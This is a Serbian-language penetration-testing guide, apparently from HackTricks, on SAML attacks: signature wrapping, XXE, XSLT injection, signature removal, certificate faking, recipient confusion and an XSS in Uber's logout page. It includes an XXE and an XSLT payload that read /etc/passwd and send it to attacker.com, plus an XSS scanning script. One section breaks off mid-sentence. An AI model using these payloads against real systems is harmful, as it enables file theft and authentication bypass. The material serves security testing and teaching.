290 lines
16 KiB
Markdown

# SAML Attacks
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
{{#ref}}
saml-basics.md
{{#endref}}
## Alat
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Alat koji može uzeti URL ili listu URL-ova i vratiti SAML consume URL.
## XML povratna veza
U XML-u, potpisani deo XML-a se čuva u memoriji, zatim se vrši neka kodiranje/dekodiranje i potpis se proverava. Idealno, to kodiranje/dekodiranje ne bi trebalo da menja podatke, ali na osnovu tog scenarija, **proveravani podaci i originalni podaci ne mogu biti isti**.
Na primer, proverite sledeći kod:
```ruby
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Pokretanje programa protiv REXML 3.2.4 ili ranijeg rezultiraće sledećim izlazom umesto toga:
```
First child in original doc: Y
First child after round-trip: Z
```
Ovo je kako je REXML video originalni XML dokument iz gornjeg programa:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
I ovo je kako ga je video nakon obrade i serijalizacije:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
Za više informacija o ranjivosti i kako je iskoristiti:
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## XML Signature Wrapping Attacks
U **XML Signature Wrapping napadima (XSW)**, protivnici koriste ranjivost koja nastaje kada se XML dokumenti obrađuju kroz dve različite faze: **validacija potpisa** i **poziv funkcije**. Ovi napadi uključuju menjanje strukture XML dokumenta. Konkretno, napadač **ubacuje lažne elemente** koji ne kompromituju validnost XML potpisa. Ova manipulacija ima za cilj da stvori razliku između elemenata koje analizira **aplikaciona logika** i onih koje proverava **modul za verifikaciju potpisa**. Kao rezultat, dok XML potpis ostaje tehnički validan i prolazi verifikaciju, aplikaciona logika obrađuje **lažne elemente**. Kao posledica, napadač efikasno zaobilazi **zaštitu integriteta** i **autentifikaciju porekla** XML potpisa, omogućavajući **ubacivanje proizvoljnog sadržaja** bez otkrivanja.
Sledeći napadi se zasnivaju na [**ovom blog postu**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **i** [**ovoj studiji**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Zato proverite te izvore za dodatne detalje.
### XSW #1
- **Strategija**: Dodaje se novi korenski element koji sadrži potpis.
- **Implikacija**: Validator može biti zbunjen između legitimnog "Response -> Assertion -> Subject" i napadačevog "zlog novog Response -> Assertion -> Subject", što dovodi do problema sa integritetom podataka.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)
### XSW #2
- **Razlika od XSW #1**: Koristi odvojeni potpis umesto obavijenog potpisa.
- **Implikacija**: "Zla" struktura, slična XSW #1, ima za cilj da prevari poslovnu logiku nakon provere integriteta.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
### XSW #3
- **Strategija**: Kreira se zla Assertion na istom hijerarhijskom nivou kao originalna assertion.
- **Implikacija**: Ima za cilj da zbuni poslovnu logiku da koristi maliciozne podatke.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>)
### XSW #4
- **Razlika od XSW #3**: Originalna Assertion postaje dete duplicirane (zle) Assertion.
- **Implikacija**: Slično XSW #3, ali agresivnije menja XML strukturu.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../images/image (551).png>)
### XSW #5
- **Jedinstveni aspekt**: Ni potpis ni originalna Assertion ne pridržavaju se standardnih konfiguracija (obavijen/obavijajući/odvojeni).
- **Implikacija**: Kopirana Assertion obavija potpis, menjajući očekivanu strukturu dokumenta.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
### XSW #6
- **Strategija**: Slična lokacijska umetanja kao XSW #4 i #5, ali sa preokretom.
- **Implikacija**: Kopirana Assertion obavija potpis, koji zatim obavija originalnu Assertion, stvarajući ugnježdenu obmanjujuću strukturu.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>)
### XSW #7
- **Strategija**: Element Extensions se umetne sa kopiranom Assertion kao detetom.
- **Implikacija**: Ovo koristi manje restriktivnu šemu elementa Extensions da zaobiđe mere validacije šeme, posebno u bibliotekama kao što je OpenSAML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
### XSW #8
- **Razlika od XSW #7**: Koristi drugi manje restriktivni XML element za varijantu napada.
- **Implikacija**: Originalna Assertion postaje dete manje restriktivnog elementa, preokrećući strukturu korišćenu u XSW #7.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>)
### Alat
Možete koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) da parsirate zahtev, primenite bilo koji XSW napad koji odaberete i pokrenete ga.
## XXE
Ako ne znate koji su to napadi XXE, molimo vas da pročitate sledeću stranicu:
{{#ref}}
../xxe-xee-xml-external-entity.md
{{#endref}}
SAML odgovori su **deflacionirani i base64 kodirani XML dokumenti** i mogu biti podložni napadima XML External Entity (XXE). Manipulacijom XML strukture SAML odgovora, napadači mogu pokušati da iskoriste XXE ranjivosti. Evo kako se takav napad može vizualizovati:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## Alati
Možete koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) za generisanje POC-a iz SAML zahteva kako biste testirali moguće XXE ranjivosti i SAML ranjivosti.
Pogledajte i ovaj govor: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XSLT putem SAML
Za više informacija o XSLT idite na:
{{#ref}}
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
Ekstenzibilne transformacije stilskih jezika (XSLT) mogu se koristiti za transformaciju XML dokumenata u različite formate kao što su HTML, JSON ili PDF. Ključno je napomenuti da se **XSLT transformacije vrše pre verifikacije digitalnog potpisa**. To znači da napad može biti uspešan čak i bez važećeg potpisa; samopotpisani ili nevažeći potpis je dovoljan za nastavak.
Ovde možete pronaći **POC** za proveru ovakvih ranjivosti, na hacktricks stranici pomenutoj na početku ovog odeljka možete pronaći payload-e.
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
### Alat
Možete takođe koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) za generisanje POC-a iz SAML zahteva kako biste testirali moguće XSLT ranjivosti.
Pogledajte takođe ovaj govor: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## Isključenje XML potpisa <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
**Isključenje XML potpisa** posmatra ponašanje SAML implementacija kada element Potpis nije prisutan. Ako je ovaj element nedostajući, **verifikacija potpisa možda neće biti izvršena**, što ga čini ranjivim. Moguće je testirati ovo menjajući sadržaj koji se obično verifikuje potpisom.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
### Alat <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
Možete takođe koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Presretnite SAML odgovor i kliknite `Remove Signatures`. Na taj način **svi** elementi potpisa se uklanjaju.
Sa uklonjenim potpisima, dozvolite zahtevu da nastavi ka cilju. Ako potpis nije potreban od strane Servisa
## Lažiranje sertifikata <a href="#certificate-faking" id="certificate-faking"></a>
## Lažiranje sertifikata
Lažiranje sertifikata je tehnika za testiranje da li **Provajder usluga (SP) pravilno verifikuje da je SAML poruka potpisana** od strane pouzdane Identitetske provajder (IdP). Uključuje korišćenje \***samo-potpisanog sertifikata** za potpisivanje SAML odgovora ili potvrde, što pomaže u evaluaciji procesa verifikacije poverenja između SP i IdP.
### Kako sprovesti lažiranje sertifikata
Sledeći koraci opisuju proces korišćenja [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp ekstenzije:
1. Presretnite SAML odgovor.
2. Ako odgovor sadrži potpis, pošaljite sertifikat u SAML Raider Certs koristeći dugme `Send Certificate to SAML Raider Certs`.
3. U SAML Raider Certificates tabu, izaberite uvezeni sertifikat i kliknite `Save and Self-Sign` da biste kreirali samo-potpisanu kopiju originalnog sertifikata.
4. Vratite se na presretnuti zahtev u Burp-ovom Proxy-ju. Izaberite novi samo-potpisani sertifikat iz XML Signature padajuće liste.
5. Uklonite sve postojeće potpise pomoću dugmeta `Remove Signatures`.
6. Potpišite poruku ili potvrdu novim sertifikatom koristeći dugme **`(Re-)Sign Message`** ili **`(Re-)Sign Assertion`**, kako odgovara.
7. Prosledite potpisanu poruku. Uspešna autentifikacija ukazuje da SP prihvata poruke potpisane vašim samo-potpisanim sertifikatom, otkrivajući potencijalne ranjivosti u procesu verifikacije SAML poruka.
## Zbunjenost primaoca tokena / Zbunjenost cilja provajdera usluga <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Zbunjenost primaoca tokena i Zbunjenost cilja provajdera usluga uključuju proveru da li **Provajder usluga pravilno verifikuje nameravanog primaoca odgovora**. U suštini, Provajder usluga bi trebao odbiti odgovor na autentifikaciju ako je bio namenjen drugom provajderu. Ključni element ovde je polje **Recipient**, koje se nalazi unutar elementa **SubjectConfirmationData** SAML odgovora. Ovo polje specificira URL koji ukazuje gde potvrda mora biti poslata. Ako stvarni primalac ne odgovara nameravanom Provajderu usluga, potvrda bi trebala biti smatrana nevažećom.
#### **Kako to funkcioniše**
Da bi napad na SAML Zbunjenost primaoca tokena (SAML-TRC) bio izvodljiv, određeni uslovi moraju biti ispunjeni. Prvo, mora postojati važeći nalog na Provajderu usluga (nazvanom SP-Legit). Drugo, ciljani Provajder usluga (SP-Target) mora prihvatati tokene od iste Identitetske provajder koja služi SP-Legit.
Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem zajedničkog Identitetskog provajdera. SAML odgovor od Identitetskog provajdera ka SP-Legit se presreće. Ovaj presretnuti SAML odgovor, prvobitno namenjen SP-Legit, se zatim preusmerava ka SP-Target. Uspeh u ovom napadu meri se time što SP-Target prihvata potvrdu, omogućavajući pristup resursima pod istim imenom naloga korišćenim za SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## XSS u funkcionalnosti odjave
Originalno istraživanje može se pristupiti preko [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
Tokom procesa brute force napada na direktorijume, otkrivena je stranica za odjavu na:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Kada je pristupljeno ovom linku, došlo je do preusmeravanja na:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
Ovo je otkrilo da `base` parametar prihvata URL. Uzimajući to u obzir, pojavila se ideja da se URL zameni sa `javascript:alert(123);` u pokušaju da se pokrene XSS (Cross-Site Scripting) napad.
### Masovno Eksploatisanje
[Iz ove studije](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
Alat [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) korišćen je za analizu poddomena `uberinternal.com` za domene koji koriste istu biblioteku. Nakon toga, razvijen je skript koji cilja stranicu `oidauth/prompt`. Ovaj skript testira XSS (Cross-Site Scripting) unosom podataka i proverava da li se oni odražavaju u izlazu. U slučajevima kada se unos zaista odražava, skript označava stranicu kao ranjivu.
```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## Reference
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
{{#include ../../banners/hacktricks-training.md}}